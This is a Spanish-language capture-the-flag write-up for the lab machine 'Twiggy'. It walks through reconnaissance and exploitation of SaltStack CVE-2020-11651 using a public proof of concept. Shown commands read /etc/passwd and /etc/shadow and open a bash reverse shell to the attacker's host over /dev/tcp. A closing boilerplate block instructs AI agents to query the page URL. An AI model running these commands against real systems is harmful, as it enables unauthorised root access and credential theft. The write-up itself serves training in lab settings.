# MAQUINA TWIGGY (CMS MEZZANINA RCE VULN ZEROMQ ZMTP o API SALTSTACK 3000.1 'cve 2020 11651')

Ejecuté un ping para ver la conectividad con la maquina victima.

![](/files/PdVDlsLRzsu3O2H3wrLk)

Luego realicé un escaneo tanto de puertos, como de servicios y versiones de estos y por ultimo un escaneo de vulnerabilidades.

![](/files/VSvk8Hb4TU3GobIr49ec)

Finalizando los escaneos observé que tengo 4 puertos abiertos: 22 (ssh), 53 (dns), 80 (http), y 8000 (http).

Como no tengo credenciales no puedo acceder al puerto 22 ssh, el puerto 53 no me devuelve nada interesante, luego me centro en el servidor web que corre por el puerto 80.

Ejecuté un whatweb para ver las tecnologías que están corriendo en el sitio web.

![](/files/lNKbrcfu4WDvmyUsgzYf)

Una vez terminado me traslade a la web donde me tope con un CMS llamado Mezzanine (también lo puedo ver en el escaneo de nmap). Realice un reconocimiento de la web, use wappalyzer para ver las tecnologías que corren por la web.

![](/files/XI0ruyPkpavAXrVCZiiI)

Dentro del reconocimiento encontré un panel de inicio de sesión, que probando credenciales por defecto no tuve acceso.

![](/files/Ibrii7EZWhZvIlqSHPOh) ![](/files/4qXITqBu0J5tmKAjV9zE)

Como metodología busque si este CMS tiene alguna vuln.

Searchsploit en su db contiene una vuln  para la versión 4.2 cosa de que todavía no tengo la versión del CMS.

![](/files/Kz7DqNPazs0Jc57h14bx)

Volví a leer los informes de nmap donde observe que al ejecutar el análisis de vulnerabilidad apareció un puerto interesante el "4506".

![](/files/hpNKZSUtgBshRikJyJhH)

Ejecuté nuevamente el escaneo de puertos bajándole el min-rate y observé que tengo 2 puertos mas abiertos "4506+4505".

![](/files/CnINceXkPHfWfF4D5Au8)

Realize un breve reconocimiento para ver que es lo que esta corriendo en esos puertos.

![](/files/Ro2hJVwdNbaqgb0xB3nM)

Ahora al tener los servicios pase a  buscar alguna vuln de esos servicios donde me tope con lo sigueinte.

[https://vk9-sec.com/saltstack-salt-rest-api-arbitrary-command-execution-cve-2020-11651-](https://vk9-sec.com/saltstack-salt-rest-api-arbitrary-command-execution-cve-2020-11651-cve-2020-11652/) [cve-2020-11652/](https://vk9-sec.com/saltstack-salt-rest-api-arbitrary-command-execution-cve-2020-11651-cve-2020-11652/)

<https://github.com/jasperla/CVE-2020-11651-poc>

![](/files/iTtTAjYGHJ6AkmFLq7fy)

![](/files/G3MPSD9oHmOx7UqGvrOM)

Según este exploit puedo realizar lectura de archivos como usuario root, como también cargar archivos de forma remota.

Este exploit requiere la instalación de salt así que me abro un terminal virtual para instalarlo.

![](/files/63qtRCSMgUJb3H9LpbFx)

```php
# python virtual
python3 -m venv venv
source venv/bin/active
# instalar lo que se requiera
# para desactivar la virtualizacion
deactive
```

Me guie a través del PoC para ver los comando a utilizar y luego veo si puedo leer el archivo /etc/passwd y el /etc/shadow ya que según el exploit lo realizo como root.

![](/files/spGuUDD7i5n9TRUuq9S0) ![](/files/73klIfSTXIrJ95U9PeSb)

```php
python3 exploit.py --master "ip victima" -r /etc/passwd - /etc/shadow
```

Según el exploit tengo una función llamada "--exec" esta la use para ejecutar comandos, aprovechando de esta función voy a realizar una conexión hacia mi maquina atacante realizando una revershell.

```php
python3 exploit.py --master "ip victima" --exec 'bash -i >& /dev/tcp/ip atacante/80
```

![](/files/031O2hcZlAz7xSTUFGVV)

Al ejecutar el comando veo que mi conexión fue exitosa logeandome como root.

Para tener en cuenta: al enviar la shell si le agrego las ()""() no me va interpretar el comando.

![](/files/XkoxBcJffPqAVm1AIJ8m)

También encontré que en el puerto 8000  hay una vuln relacionado con la vuln anterior En el apartado salt-api posee una vulnerabilidad que al buscarla se llama "saltstack 3000.1" donde se ejecuta el mismo CVE usado anteriormente.

![](/files/lDp4gQkH5RZcmRBy4xFB)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://1gnotus.gitbook.io/ignotus_pwn/proving-ground-practice-and-play/writeup/maquina-twiggy-cms-mezzanina-rce-vuln-zeromq-zmtp-o-api-saltstack-3000.1-cve-2020-11651.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
